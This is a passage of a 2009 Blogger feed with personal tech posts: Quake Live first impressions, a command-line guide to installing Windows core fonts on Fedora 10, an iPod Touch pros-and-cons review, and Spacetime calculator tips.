style="font-style: italic;"&gt;Quake Live: Free for All:&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_y9bIz6XDw14/Sc-oafp-nYI/AAAAAAAAANo/y9-Qtv9n-L0/s1600-h/img7.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 301px;" src="http://1.bp.blogspot.com/_y9bIz6XDw14/Sc-oafp-nYI/AAAAAAAAANo/y9-Qtv9n-L0/s400/img7.jpg" alt="" id="BLOGGER_PHOTO_ID_5318654858075479426" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;&lt;span style="font-style: italic;"&gt;Quake Live: The Quad Damage Bonus:&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_y9bIz6XDw14/Sc-oZmhv2UI/AAAAAAAAANg/G9MY5k2qzKE/s1600-h/img3.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 298px;" src="http://3.bp.blogspot.com/_y9bIz6XDw14/Sc-oZmhv2UI/AAAAAAAAANg/G9MY5k2qzKE/s400/img3.jpg" alt="" id="BLOGGER_PHOTO_ID_5318654842740136258" border="0" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;The are 6 game modes in Quake Live.&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Duel (1on1)&lt;/span&gt; - Player versus player (1-on-1) combat. Whoever gets the most frags before the time is up wins.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Free for All (FFA)&lt;/span&gt; - Players engage in a match, where everyone fights for themselves. Whoever hits the frag limit ends the game, and this person wins. The fraglimit is mostly 50. When the time limit expires, the match will also end. All weapons are avalible in this mode (it's the difference between FFA and Instagib).&lt;/li&gt;&lt;/ul&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;&lt;ul&gt;&lt;li&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Team Deathmatch (TDM)&lt;/span&gt; - Same rules as 'Free for All' but in this mode, two teams fight each other.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Capture the Flag (CTF)&lt;/span&gt; - Each team has a base, holding a flag. To earn points and win the game, a team has to take the opposite flag, and return them to their own.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Clan Arena&lt;/span&gt; - Teambased gameplay, everyone starts fully equipped with full armor and weapons. When fragged, the player must wait for the next round to begin. Players can rocket jump with no health penalty.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Instagib &lt;/span&gt;- This is my favourite mode. It's a FFA in fact where players start with only a Railgun, which always delivers one-hit kills. Instagib servers are unranked.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Conclusion&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;I really like the idea and I cross my fingers and hope ID Software will bring the project to the end. At this time Quake Live only runs on Windows XP/Vista in web browsers Firefox and IE 7/8. There are speculations of a portability to Linux and Mac, I'm looking forward to it.&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-size:100%;" &gt;You can check the &lt;a href="http://twitter.com/quakelive"&gt;Quake Live twitter&lt;/a&gt; to be in the picture. Finally you can also add me as a friend and challenge me than ;) My nickname is bulb.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-7974296412080260097?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=cVsBqvqZvxA:BQrQpcFJQkE:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=cVsBqvqZvxA:BQrQpcFJQkE:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?i=cVsBqvqZvxA:BQrQpcFJQkE:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=cVsBqvqZvxA:BQrQpcFJQkE:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?i=cVsBqvqZvxA:BQrQpcFJQkE:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=cVsBqvqZvxA:BQrQpcFJQkE:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?i=cVsBqvqZvxA:BQrQpcFJQkE:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/7974296412080260097/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=7974296412080260097" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/7974296412080260097?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/7974296412080260097?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/cVsBqvqZvxA/quake-live-first-impression.html" title="Quake Live - First Impression" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_y9bIz6XDw14/Sc-s_b5NcpI/AAAAAAAAAOI/DN-Ig2bSEU8/s72-c/ql_button_bigger.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2009/03/quake-live-first-impression.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0MHRXw5cSp7ImA9WxVUFUs.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-3899120678822663777</id><published>2009-03-20T16:25:00.005+01:00</published><updated>2009-03-20T17:10:34.229+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-20T17:10:34.229+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Fedora" /><title>Windows fonts in Fedora 10</title><content type="html">&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;Today I decided to install the windows fonts on my Fedora 10. The main reason was because of the fonts shown in the web browser (Firefox). Many sites I visit every day use the windows fonts which have their equivalents in Linux but I don't like it. As far as I'm concered I guess that when Firefox gets a definition of some paragraph that it's meant to be in Verdana, it uses some equivalent font, &lt;span style="font-weight: bold;"&gt;which is not the same&lt;/span&gt; and looks weird. It's my personal opinion but I just don't like those equivalents.&lt;br /&gt;So I launched Google and was looking for some tutorial which whould explain me how to install the windows fonts. I found loads of them, &lt;span style="font-weight: bold;"&gt;but none worked&lt;/span&gt;. I knew I did the same search about a year ago but I couldn't remember the site.&lt;br /&gt;Finally I found a nice step-by-step tutorial which worked well so I want to share it with people doing the same thing, and also for me, I might need it in the future.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Advice:&lt;/span&gt; Use ctrl+shift+v to copy into your console.&lt;br /&gt;&lt;br /&gt;1&lt;br /&gt;&lt;blockquote&gt;wget http://www.my-guides.net/en/images/stories/fedora10/msttcore-fonts-2.0-2.noarch.rpm&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;2&lt;br /&gt;&lt;blockquote&gt;su -c 'rpm -ivh msttcore-fonts-2.0-2.noarch.rpm'&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;3&lt;br /&gt;&lt;blockquote&gt;su -c 'yum install rpmdevtools rpm-build cabextract ttmkfdir'&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;4&lt;br /&gt;&lt;blockquote&gt;rpmdev-setuptree&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;5&lt;br /&gt;&lt;blockquote&gt;cd ~/rpmbuild/SPECS/&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;6&lt;br /&gt;&lt;blockquote&gt;wget http://www.my-guides.net/en/images/stories/fedora10/msttcore-fonts-2.0-2.spec&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;7&lt;br /&gt;&lt;blockquote&gt;rpmbuild -bb msttcore-fonts-2.0-2.spec&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;8&lt;br /&gt;&lt;blockquote&gt;cd ~/rpmbuild/RPMS/noarch/&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;9&lt;br /&gt;&lt;blockquote&gt;su -c 'rpm -ivh msttcore-fonts-2.0-2.noarch.rpm'&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The result:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_y9bIz6XDw14/ScO_u2AmL_I/AAAAAAAAANY/zU8qgS56lDM/s1600-h/pic.png"&gt;&lt;img style="cursor: pointer; width: 277px; height: 102px;" src="http://3.bp.blogspot.com/_y9bIz6XDw14/ScO_u2AmL_I/AAAAAAAAANY/zU8qgS56lDM/s400/pic.png" alt="" id="BLOGGER_PHOTO_ID_5315302796720222194" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:78%;"&gt;Source: http://my-guides.net&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-3899120678822663777?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=2rEa57ds9N0:7ZjeOI8xPPI:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=2rEa57ds9N0:7ZjeOI8xPPI:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?i=2rEa57ds9N0:7ZjeOI8xPPI:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=2rEa57ds9N0:7ZjeOI8xPPI:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?i=2rEa57ds9N0:7ZjeOI8xPPI:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=2rEa57ds9N0:7ZjeOI8xPPI:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?i=2rEa57ds9N0:7ZjeOI8xPPI:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/3899120678822663777/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=3899120678822663777" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/3899120678822663777?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/3899120678822663777?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/2rEa57ds9N0/windows-fonts-in-fedora-10.html" title="Windows fonts in Fedora 10" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_y9bIz6XDw14/ScO_u2AmL_I/AAAAAAAAANY/zU8qgS56lDM/s72-c/pic.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2009/03/windows-fonts-in-fedora-10.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0MFRXs_fSp7ImA9WxVVEUo.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-8769458029936377352</id><published>2009-03-03T21:05:00.010+01:00</published><updated>2009-03-04T16:10:14.545+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-03-04T16:10:14.545+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="iPod Touch/iPhone" /><title>8 Pros and Cons of iPod Touch</title><content type="html">&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;Today I'd like to sum up the pros and cons about the iPod Touch. I've been using Touch for about one year so I would like to write a list of pros and cons based on my own experience. Let's start with the Pros.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Design and construction&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Everybody knows that Apple is known for its well designed products. It's also said that the design is the first and also last thing Apple is good in, but I will get to it in the article later. Let's go back to the design of iPod Touch, it doesn't stand out of the others and I can honestly say I really like the sleeky design, who doesn't, right? It's only &lt;span style="font-weight: bold;"&gt;8.5mm&lt;/span&gt; thick (0.33 inch) and weights 125 grams which appreciates everyone who carries often the iPod in a pocket. At this point I should also mention the 3.5 inch display which is made of some super duper material. After about one year of using the iPod I don't have even 1 scratch on the display which is amazing and I'm glad for that.&lt;br /&gt;Another thing is that the construction seems to be very solid. I have to admit that Touch sometimes falls out of my pocket while changing the clothes, but fortunately it still lives :p&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;User interface&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Next thing I'd like to talk about is the user interface. The system acts really intuitively and it's easy for everyone to control it. Touch doesn't have the hardware keyboard but you can easily make do with the software keyboard. It detects when you put your funger out of the display so you can choose the letter you want even the ground is shaking, for instance in car, bus, train or while walking.&lt;br /&gt;What really rocks is the &lt;span style="font-weight: bold;"&gt;multi-touch&lt;/span&gt; function. You can glide through albums with Cover Flow, flick through photos and enlarge them with a pinch, zoom in and out on a section of a web page, and control game elements precisely.&lt;br /&gt;Of course I can't forget the &lt;span style="font-weight: bold;"&gt;accelerometer&lt;/span&gt; which is perfect specially for gaming. When you rotate from portrait to landscape you for instance rotate your photo, get a larger keyboard or invoke the Cover Flow if you are in Music.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_y9bIz6XDw14/Sa2wfplJx5I/AAAAAAAAANA/FlCbU-gBc0I/s1600-h/accelerometer.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 302px;" src="http://3.bp.blogspot.com/_y9bIz6XDw14/Sa2wfplJx5I/AAAAAAAAANA/FlCbU-gBc0I/s400/accelerometer.jpg" alt="" id="BLOGGER_PHOTO_ID_5309093593523799954" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The wifi connectivity&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;iPod Touch automatically locates nearby wireless networks and connects to them if you allow it. I appreciate this function because I have a wifi network both at school and at home. And sometime it's quite useful to be able to access Internet at school :p&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Loads of apps&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I suppose I should also mention that App Store offers tons of apps for both iPhone and iPod nowadays. It's not true when someone says that there are no applications for iPod. App Store divides the applications into categories so you can easily pick or search between them. Even directly from the Touch/iPhone thanks to the same named application called 'App Store', which also indicates updates for apps installed on your device.&lt;br /&gt;&lt;br /&gt;So those were the Pros, now I should write some Cons, which isn't easy for me, but still, there are some :p&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Battery life&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I know, iPod is a small device so it's not supposed to go for weeks without recharging. But on the other hand when I have 100% battery in the morning and I use the iPod a lot during the day, it's usually totally discharged at evening. With regular using, which means some web browsing, listening to music, playing games or writing notes, it's able to go for 2 or 3 days without recharging.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Linux&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Unfortunatelly iTunes can be only used in Mac or Win. So there is no way to connect the Touch/iPhone to a computer with Linux, because Touch requires iTunes for its connectivity and synchronisation. Another disadvantage which is connected with this issue is that Touch doesn't act as an external disk. The only way how to get 'into' Touch is using iTunes (or via SSH for expert users).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Reproductor&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I wasn't sure about moving this into pros or cons, but I guess it's a disadvantage for most of people. You may ask why, but it's simply 'cause I don't need the reproductor. My old mp3 player had a reproductor, but the contact between the headphone jack and the mp3 wasn't as reliable as I thought. Sometimes happened that I i&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;nadvertently&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt; shared listening to music with other people because the mp3 thought there are no headphones so it started playing to the reproductor laudly. Generally speaking I don't see it as an disadvantage.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;The video format&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;First I should say that watching movies on a 3.5 inch display with 480x320px resolution is possible :p But you have to convert the movie first. As far as I know, Touch can handle only .mpg format and only in the correct resolution. There are programs for the converting, I especially like the MediaCoder. &lt;a href="http://mediacoder.sourceforge.net/device/ipod_touch.html"&gt;You can download MediaCoder iPhone edition from this link.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;That's all for now, I hope this list was useful for you, cya later.&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-8769458029936377352?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=eCoJwdslg9Y:4eOkAs39NIE:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=eCoJwdslg9Y:4eOkAs39NIE:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?i=eCoJwdslg9Y:4eOkAs39NIE:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=eCoJwdslg9Y:4eOkAs39NIE:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?i=eCoJwdslg9Y:4eOkAs39NIE:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/bulbing?a=eCoJwdslg9Y:4eOkAs39NIE:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/bulbing?i=eCoJwdslg9Y:4eOkAs39NIE:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/8769458029936377352/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=8769458029936377352" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/8769458029936377352?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/8769458029936377352?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/eCoJwdslg9Y/8-pros-and-cons-of-ipod-touch.html" title="8 Pros and Cons of iPod Touch" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_y9bIz6XDw14/Sa2wfplJx5I/AAAAAAAAANA/FlCbU-gBc0I/s72-c/accelerometer.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2009/03/8-pros-and-cons-of-ipod-touch.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEECRn0zfCp7ImA9WxVXEU8.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-8558797136984109711</id><published>2009-02-08T20:09:00.011+01:00</published><updated>2009-02-08T21:57:47.384+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-02-08T21:57:47.384+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="iPod Touch/iPhone" /><title>Spacetime 3.0 - The basic tricks</title><content type="html">&lt;span style=";font-family:verdana;font-size:85%;"  &gt;Spacetime is the best calculator for iPod/iPhone I know. It's not only a calculator, Spacetime also includes a 2D/3D plotter, equation solver, mathematical constants, loads of functions, allows you to write your own functions by scripting them; Spacetime is able to work with fractions, complex numbers and so. I would like to show you how to use the basic functions and how to save your time.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Writing (only iPod/iPhone)&lt;/span&gt;&lt;br /&gt;This feature works only for these two devices, turn your ipod into landscape position; a keyboard appears and you can write difficult equations and commands much easier.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_y9bIz6XDw14/SY9EoGYNtpI/AAAAAAAAAMg/EY5RJ_TFUGQ/s1600-h/photo3.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 267px;" src="http://3.bp.blogspot.com/_y9bIz6XDw14/SY9EoGYNtpI/AAAAAAAAAMg/EY5RJ_TFUGQ/s400/photo3.jpg" alt="" id="BLOGGER_PHOTO_ID_5300530742135994002" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style=";font-family:verdana;font-size:85%;"  &gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Fractions&lt;/span&gt;&lt;br /&gt;Spacetime is able to return a result as a fraction. For example &lt;span style="font-family:trebuchet ms;"&gt;sinus(π/4)&lt;/span&gt; returns &lt;span style="font-family:trebuchet ms;"&gt;√2/2&lt;/span&gt; and &lt;span style="font-family:trebuchet ms;"&gt;0.7071&lt;/span&gt;... if you click once more the 'Solve button' or the "N" icon.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_y9bIz6XDw14/SY9E68rYGWI/AAAAAAAAAM4/zU1tCOPfKm4/s1600-h/photo6.jpg"&gt;&lt;img style="cursor: pointer; width: 267px; height: 400px;" src="http://1.bp.blogspot.com/_y9bIz6XDw14/SY9E68rYGWI/AAAAAAAAAM4/zU1tCOPfKm4/s400/photo6.jpg" alt="" id="BLOGGER_PHOTO_ID_5300531065949526370" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style=";font-family:verdana;font-size:85%;"  &gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Plot two or more graphs into one image&lt;/span&gt;&lt;br /&gt;Sometimes it's useful to see more graphs in one image. For instance let's say you want to plot the three-phase current. In fact we will plot three sinus graphs with &lt;span style="font-family:trebuchet ms;"&gt;2π/3&lt;/span&gt; offset. The trick to plot more graphs together is in separating them with a comma.&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;blockquote&gt;Plot(sin(x),sin(x+2π/3),sin(x+4π/3))&lt;/blockquote&gt;&lt;/span&gt;And you get the result.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_y9bIz6XDw14/SY9EeMut_uI/AAAAAAAAAMY/BoZUgsywbHw/s1600-h/photo2.jpg"&gt;&lt;img style="cursor: pointer; width: 267px; height: 400px;" src="http://3.bp.blogspot.com/_y9bIz6XDw14/SY9EeMut_uI/AAAAAAAAAMY/BoZUgsywbHw/s400/photo2.jpg" alt="" id="BLOGGER_PHOTO_ID_5300530572042305250" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style=";font-family:verdana;font-size:85%;"  &gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Roots&lt;/span&gt;&lt;br /&gt;Maybe there is a better way but I couldn't find an easier way. For example you want to get the fifth root of 32. Here is my solution:&lt;br /&gt;&lt;blockquote&gt;&lt;span style="font-family:trebuchet ms;"&gt;5√32 //doesn't work, returns 5*√32&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;32^(1/5) //works fine, returns 2&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="font-weight: bold;"&gt;Solving quadratic equations quickly&lt;/span&gt;&lt;br /&gt;The most effective and also fastest way I know to solve a quadratic equation actually comes from the tutorial but it's useful to remember the syntax. There are two alternatives how to solve a quadratic equation (e.g. 3x^2+5x-2)&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style=";font-family:verdana;font-size:85%;"  &gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Solve(&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=";font-family:verdana;font-size:85%;"  &gt;&lt;span style="font-family:verdana;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;3x^2+5x-2)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Solve(3,5,-2)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span style=";font-family:verdana;font-size:85%;"  &gt;&lt;span style="font-family:verdana;"&gt;The second one is the tricky way. Logically, you insert three variables (a,b,c) &lt;span style="font-weight: bold;"&gt;a&lt;/span&gt;x^2+&lt;span style="font-weight: bold;"&gt;b&lt;/span&gt;x+&lt;span style="font-weight: bold;"&gt;c&lt;/span&gt;. If for instance b=0, you insert 0 as the second parameter. Very useful shorthand.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_y9bIz6XDw14/SY9EtMFCR3I/AAAAAAAAAMo/Mt6vH2p7WiM/s1600-h/photo4.jpg"&gt;&lt;img style="cursor: pointer; width: 267px; height: 400px;" src="http://4.bp.blogspot.com/_y9bIz6XDw14/SY9EtMFCR3I/AAAAAAAAAMo/Mt6vH2p7WiM/s400/photo4.jpg" alt="" id="BLOGGER_PHOTO_ID_5300530829565511538" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style=";font-family:verdana;font-size:85%;"  &gt;&lt;span style="font-family:verdana;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Expand() function&lt;/span&gt;&lt;br /&gt;Stuff like (a+b)^3 seems to be not working in Spacetime, right? Fortunately we have the expand() function. The usage is very easy, expand() function has only one parameter and it's the expression you want to solve (a+b)^n, n stands for a natural number (or maybe a fraction too? I have no experience).&lt;br /&gt;&lt;br 